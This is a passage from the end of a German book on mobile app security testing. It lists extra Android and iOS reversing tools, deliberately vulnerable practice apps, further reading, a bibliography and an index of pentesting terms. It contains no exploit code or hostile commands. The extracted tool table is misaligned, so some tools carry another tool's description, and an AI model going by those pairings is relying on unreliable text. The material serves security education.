Android-Applikationen automatisiert zu erkennen.<br />
Auch bekannt unter dem Namen Generic Android Deobfuscator. Ein<br />
nettes Tool, das durch Ausführen der Applikation in der Lage ist,<br />
einen deobfuskierten Quellcode zu erstellen. Kann hilfreich sein,<br />
wenn die Applikation stark obfuskiert ist oder man als Analyst mit<br />
den Ausgaben der hier gezeigten Tools nicht weiterkommt.<br />
Bietet dank Androguard-Modul die Möglichkeit, Android-<br />
Applikationen ohne Kenntnis der Androguard-Befehle zu analysieren.<br />
Kann gerade für Anfänger auf diesem Gebiet sehr hilfreich sein.<br />
Tab. 10–1: Liste weiterer Tools für das Reversing und die Suche nach Schwachstellen in<br />
Android-Applikationen<br />
10.1.2 iOS<br />
Wie auch schon bei Android gibt es auch für iOS noch eine Menge weiterer Tools,<br />
die für die Analyse von Applikationen verwendet werden können. Eine – mit<br />
Sicherheit nicht vollständige – Übersicht zeigt Tabelle 10–2.
10.2 Wo kann ich üben? 217<br />
Name<br />
Introspy<br />
iRet<br />
Fridump<br />
NowSecure Lab<br />
radare2<br />
Reveal<br />
Beschreibung<br />
Analysiert iOS-Applikationen ähnlich wie auch idb oder Snoop-it.<br />
Übernimmt viele der in diesem Buch gezeigten Aufgaben<br />
automatisiert. Gerade für Anfänger könnte dies ein interessantes<br />
Werkzeug sein.<br />
Ein neues Tool zum Auslesen des RAM von Android- und iOS-<br />
Endgeräten, das einen sehr guten ersten Eindruck hinterlassen hat.<br />
Zu finden ist es unter:<br />
http://pentestcorner.com/introduction-to-fridump/.<br />
Ein kommerzielles Werkzeug, das iOS- und Android-Applikationen<br />
automatisiert analysiert, aber auch das manuelle Reversing<br />
unterstützt.<br />
Ein Tool sehr ähnlich zu Hopper und IDA Pro, aber OpenSource.<br />
Dieses Tool ermöglicht es, den Aufbau einer Applikation anzuzeigen<br />
und so interessante Views schneller zu finden als durch manuelle<br />
Suche. Die Namen der Views helfen beim Reversing mittels IDA Pro<br />
oder Hopper.<br />
Tab. 10–2: Liste weiterer Tools für das Reversing und die Suche nach Schwachstellen in<br />
iOS-Applikationen<br />
10.2 Wo kann ich üben?<br />
Wer noch etwas Material zum Üben der hier gezeigten Tools und Methoden<br />
sucht – und dazu auch Anleitungen bzw. Lösungen möchte –, der findet gerade<br />
im Bereich iOS und Android sehr gute Projekte und zugehörige Applikationen<br />
auf den folgenden Webseiten:<br />
■ OWASP Goat-Droid für Android:<br />
https://github.com/jackMannino/OWASP-GoatDroid-Project<br />
■ DIVA (Damn insecure and vulnerable App) für Android:<br />
http://www.payatu.com/damn-insecure-and-vulnerable-app/<br />
■ OWASP iGoat für iOS:<br />
https://code.google.com/p/owasp-igoat/<br />
■ DVIA (Damn Vulnerable iOS Application):<br />
http://damnvulnerableiosapp.com/<br />
■ Infosec Institute bietet viele Anleitungen zu diesem – aber auch anderen –<br />
Themen:<br />
http://resources.infosecinstitute.com/<br />
Die hier aufgeführten Applikationen bieten gute Schritt-für-Schritt-Anleitungen<br />
und zeigen, wie man die Lücken findet, und teilweise auch, wie man sie in der
218 10 Wie geht die Reise weiter?<br />
Realität vermeidet. Dies ist ideal für den Einsteiger, um sich mit den Tools und<br />
der Thematik tiefer zu beschäftigen und deren Umgang und Einsatz zu üben.<br />
Ich wünsche daher viel Spaß beim Aufspüren der Lücken!<br />
10.3 Wo finde ich weiterführende Informationen?<br />
Analysiert man die Sicherheit von mobilen Applikationen, so ist neben der Applikation<br />
selbst auch noch das darunterliegende Betriebssystem wie auch das Backend<br />
von Interesse, denn beide dieser Endpunkte können einen massiven Einfluss<br />
auf die Sicherheit der Applikationen und vor allem der verarbeiteten und gespeicherten<br />
Daten haben. Aus diesem Grund sollte der Analyst (auch Penetrationstester<br />
genannt) sich auch mit der Sicherheit und Verwundbarkeit dieser Systeme<br />
auskennen.<br />
Hierfür ist u. a. folgende weiterführende Lektüre empfehlenswert:<br />
■<br />
Android<br />
■<br />
■<br />
■<br />
Android Security Internals von Nikolay Elenkov<br />
Android Hackers Handbook von Joshua Drake, Pau Oliva Fora, Zach<br />
Lanier, Collin Mulliner, Stephen Ridley und Georg Wicherski<br />
Android Forensics: Investigation, Analysis and <strong>Mobile</strong> Security for Google<br />
Android von Andrew Hoog<br />
■<br />
iOS<br />
■<br />
■<br />
■<br />
■<br />
■<br />
iOS Hackers Handbook von Charlie Miller, Dionysus Blazakis, Dino<br />
Dai Zovi, Stefan Esser, Vincenzo Iozzo und Ralf-Philipp Weinmann<br />
Mac OS X and iOS Internals von Jonathan Levin<br />
<strong>Hacking</strong> and Securing iOS Applications von Jonathan Zdziarski<br />
iPhone Forensics: Recovering Evidence, Personal Data, and Corporate<br />
Assets von Jonathan Zdziarski<br />
iOS Application Security – The Definitive Guide for Hackers and Developers<br />
von David Thiel<br />
■<br />
Backend<br />
■<br />
■<br />
■<br />
■<br />
<strong>Hacking</strong>: Die Kunst des Exploits von Jon Erickson<br />
<strong>Hacking</strong> Web Apps: Detecting and Preventing Web Application Security<br />
Problems von Mike Shema<br />
The Basics of <strong>Hacking</strong> and Penetration Testing: Ethical <strong>Hacking</strong> and<br />
Penetration Testing Made Easy von Patrick Engebretson<br />
<strong>Hacking</strong> mit Metasploit: Das umfassende Handbuch zu Penetration<br />
Testing und Metasploit von Michael Messner
219<br />
Literaturverzeichnis<br />
[1] Steven Arzt, Siegfried Rasthofer, Christian Fritz, Eric Bodden, Alexandre<br />
Bartel, Jacques Klein, Yves Le Traon, Damien Octeau und Patrick<br />
McDaniel. FlowDroid: Precise context, flow, field, object-sensitive and<br />
lifecycle-aware taint analysis for android apps. In: Proceedings of the<br />
35th ACM SIGPLAN conference on Programming language design and<br />
implementation, 2014.<br />
[2] J. Bergeron, M. Debbabi, J. Desharnais, M. M. Erhioui, Y. Lavoie und<br />
N. Tawbi. Static detection of malicious code in executable programs. In<br />
Proceedings of the Symposium on Requirements Engineering for<br />
Information Security, 2001.<br />
[3] M. A. Bishop. The art and science of computer security. Addison-Wesley<br />
Longman Publishing Co., 2002.<br />
[4] Dominic Chell, Tyrone Erasmus, Shaun Colley und Ollie Whitehouse.<br />
The <strong>Mobile</strong> Application Hacker’s Handbook. Wiley, 2015.<br />
[5] Bundesministerium der Justiz und für Verbraucherschutz.<br />
Bundesdatenschutzgesetz.<br />
http://www.gesetze-im-internet.de/bdsg_1990/index.html.<br />
[6] A.P. Felt, M. Finifter, E. Chin, S. Hanna und D. Wagner. A survey of<br />
mobile malware in the wild. In Proceedings of the 1st ACM workshop on<br />
Security and privacy in smartphones and mobile devices, Seiten 3–14,<br />
ACM, 2011.<br />
[7] Gartner. Gartner Says Worldwide Smartphone Sales Grew 9.7 Percent in<br />
Fourth Quarter of 2015. http://www.gartner.com/newsroom/id/3215217,<br />
2016.<br />
[8] Claudio Guarnieri, Alessandro Tanasi, Jurriaan Bremer und Mark<br />
Schloesser. cuckoo sandbox. https://www.cuckoosandbox.org/.<br />
[9] Martina Lindorfer, Matthias Neugschwandtner, Lukas Weichselbaum,<br />
Yanick Fratantonio, Victor van der Veen und Christian Platzer.<br />
ANDRUBIS - 1,000,000 Apps Later: A View on Current Android<br />
Malware Behaviors. Proceedings of the International Workshop on<br />
Building Analysis Datasets and Gathering Experience Returns for<br />
Security (BADGERS), 2014.<br />
[10] Linux Kernel Organization Inc. Linux source code – sched.h.<br />
http://lxr.linux.no/linux+v3.6/include/linux/sched.h, 2012.
220 Literaturverzeichnis<br />
[11] Andreas Moser, Christopher Kruegel und Engin Kirda. Limits of Static<br />
Analysis for Malware Detection. In Annual Computer Security<br />
Applications Conference (ACSAC), December 2007.<br />
[12] Alex Plaskett und Nick Walker. Windows Phone 8 Application Security<br />
Whitepaper. MWR Infosecurity Labs, 2014.<br />
[13] Siegfried Rasthofer, Steven Arzt, Marc Miltenberger und Eric Bodden.<br />
Reverse Engineering Android Apps With CodeInspect. TU Darmstadt,<br />
2016.<br />
[14] Michael Spreitzenbarth, Felix Freiling, Florian Echtler, Thomas Schreck<br />
und Johannes Hoffmann. <strong>Mobile</strong>-Sandbox: having a deeper look into<br />
android applications. In: Proceedings of the 28th Annual ACM<br />
Symposium on Applied Computing, 2013.<br />
[15] Starbug. Ich sehe, also bin ich ... Du.<br />
https://media.ccc.de/v/31c3_-_6450_-_de_-_saal_1_-_201412272030_-_<br />
ich_sehe_also_bin_ich_du_-_starbug, 2014.<br />
[16] Statista. Number of apps available in leading app stores as of July 2015.<br />
http://www.statista.com/statistics/276623/<br />
number-of-apps-available-in-leading-app-stores/, 2015.<br />
[17] Kimberly Tam, Salahuddin J. Khan, Aristide Fattori und Lorenzo<br />
Cavallaro. CopperDroid: Automatic Reconstruction of Android Malware<br />
Behaviors. In: Proceedings of the 22nd Annual Network and Distributed<br />
System Security Symposium, 2015.<br />
[18] Carsten Willems, Thorsten Holz und Felix Freiling. Toward Automated<br />
Dynamic Malware Analysis Using CWSandbox. IEEE Security &<br />
Privacy, 2007.
221<br />
Index<br />
A<br />
Activity 7, 83, 84<br />
ActivityManager 85<br />
adb 94, 97, 104<br />
adb backup 94, 95<br />
addJavascriptInterface 91<br />
Address Space Layout Randomization siehe<br />
ASLR<br />
Adware 26<br />
aes-cbc-essiv:sha256 97<br />
Androguard 56<br />
Android 2, 31, 43, 67, 202, 203, 205, 215<br />
Android Backup Extractor 95<br />
Android Debug Bridge siehe adb<br />
Android Studio 5, 110<br />
Android-Manifest 7, 45, 77, 95<br />
Android-SSL-TrustKiller 205<br />
API 4<br />
APKtool 74<br />
Apple iOS siehe iOS<br />
Apple System Log 167<br />
Application Programming Interfaces siehe API<br />
AppManifest.xml 179, 180, 188, 196<br />
appx 179<br />
ARC 141, 177<br />
ASLR 141, 173, 193<br />
Atom Editor 183<br />
B<br />
Backup 94<br />
baksmali 49<br />
Bildschirmsperre siehe Screenlock<br />
BinScope 188, 194<br />
BitLocker 23<br />
Brew 35, 119<br />
Broadcast Receiver 8<br />
Brute-Force-Angriff 97, 98, 103, 108, 157, 191<br />
BuildProp Enhancer 110<br />
Burp Suite 201, 202, 204, 211, 212<br />
BusyBox 68<br />
C<br />
Capabilities 187<br />
CFG 63, 131<br />
Charles Proxy 201<br />
class-dump 120, 154, 157<br />
Codeinspect 59, 79, 110–112<br />
Component Object Model 22<br />
Configuration Manager 22<br />
Content Provider 8, 86<br />
Cortana 192<br />
CredentialHash 190<br />
Crypto Footer 96<br />
Cryptolocker 27<br />
CuckooDroid 79<br />
CVE-2013-6271 86<br />
cycript 122, 125, 155, 157, 158<br />
cydia 116<br />
Cydia Substrate 75, 205<br />
D<br />
Dataprotection-Level 15, 145<br />
DDMS 113<br />
DEP 141, 193<br />
Device Health Attestation 24<br />
dex2jar 47<br />
double-free 177<br />
DRM 171, 180<br />
DroidBox 79<br />
Drozer 69, 78, 84, 86, 90, 93<br />
dumpdecrypted 121, 125, 171<br />
DVM 4<br />
dynamische Analyse 40, 79<br />
E<br />
Eclipse 5, 110<br />
EDP 23<br />
Emulator 34, 79<br />
enjarify 48<br />
Enterprise Data Protection siehe EDP
222 Index<br />
F<br />
FairPlay 171<br />
FDE 96<br />
File Juicer 170<br />
FileDP 145, 163<br />
FlowDroid 63<br />
frida 141, 155, 157<br />
fstab 97<br />
Full Disk Encryption siehe FDE<br />
Fuzzing 196<br />
G<br />
gesture.key 99<br />
Grayware 26<br />
H<br />
HAS 24<br />
Hashcat 98, 103<br />
Health Attestation Service siehe HAS<br />
hexdump 5<br />
Hopper 128, 151<br />
HTTP-Response-Cache 170<br />
I<br />
IDA Pro 110, 132, 151, 183<br />
idb 140, 160, 161, 167, 169, 173, 175–177<br />
ILSpy 183, 185<br />
Intent 8<br />
Introspy 76<br />
iOS 8, 35, 115, 137, 202, 204, 206, 216<br />
iOS-SSL-Kill-Switch 206<br />
iproxy 119<br />
iTunes 164<br />
J<br />
JADx-GUI 55<br />
jailbreak 116, 213<br />
JavascriptInterface 91, 92<br />
JD-GUI 52<br />
Jimple 61<br />
JTAG 100<br />
K<br />
Keyboard-Cache 169<br />
Keychain 17, 159<br />
Keychain-Dumper 144, 159<br />
kSecAttr 17, 18, 160<br />
L<br />
libimobiledevice 119<br />
lipo 122<br />
locksettings.db 101<br />
logcat 206<br />
Logos 149, 152<br />
LUKS 96<br />
M<br />
Mach-O-Binary 13<br />
Malware 25<br />
Man-in-the-Middle-Angriff siehe MitM<br />
MitM 199–201, 203<br />
N<br />
.NET reflector 183<br />
NSFileProtection 15, 145<br />
NSLog 167<br />
NSURLCache 170<br />
O<br />
Obfuscation 39<br />
otool 138, 172, 174, 176, 177<br />
OWASP Top 10 27<br />
P<br />
PackageManager 44, 74<br />
password.key 101<br />
Pasteboard 168<br />
pasteBoardWithName 168<br />
pasteBoardWithUniqueName 168<br />
PBKDF2 97, 98<br />
Permissions 76, 78, 187<br />
Phone7Market 180<br />
PIE 173<br />
PocketPCs 19<br />
Pontentially Unwanted Applications siehe PUA<br />
Position Independent Executable siehe PIE<br />
PUA 26<br />
R<br />
Rainbow Table 100, 191<br />
Ransomware 27<br />
Reversing 39, 43, 115, 182, 183<br />
RootCloak 75<br />
S<br />
Same Origin Policy 91<br />
Sandbox 40<br />
Santoku 33<br />
SCP 116, 125, 126<br />
Screenlock 99, 190
Index 223<br />
scrypt 98<br />
Secure Boot 23<br />
Secure Boot Chain 14<br />
Services 8<br />
settings.db 101<br />
Shared Preferences 8, 106<br />
smali 49, 78<br />
Snoop-it 138, 148, 155, 160, 206<br />
Spyware 26<br />
SQL-Injection 89, 90<br />
SQLite 105<br />
SQLiteBrowser 105, 170<br />
SQLmap 90<br />
SSH 116<br />
SSL 199<br />
SSL-Downgrade-Angriff 209<br />
SSL-Kill-Switch2 207<br />
SSL-Strip 209<br />
SSL-TrustKiller 76<br />
statische Analyse 39 siehe Reversing<br />
Sublime Text 183<br />
T<br />
Theos 149, 151, 152<br />
U<br />
UEFI 23<br />
UIPasteBoardNameFind 168<br />
UIPasteBoardNameGeneral 168<br />
use-after-free 177<br />
W<br />
WebView 91<br />
Windows 10 <strong>Mobile</strong> siehe Windows Phone<br />
Windows CE 18<br />
Windows InTune 22, 24<br />
Windows NT 19<br />
Windows Phone 18, 19, 36, 179, 187, 202, 204,<br />
208<br />
Windows Phone Internals 36<br />
Windows Registry 190, 192<br />
Windows Runtime 21<br />
Windows Store 22<br />
Windows-NT-Kernel 20<br />
Windows 10 SDK 36<br />
WinRT 21, 22<br />
WMAppManifest.xml 179, 180, 188, 196<br />
X<br />
xap 179<br />
Xcode 35, 167<br />
XPosed 110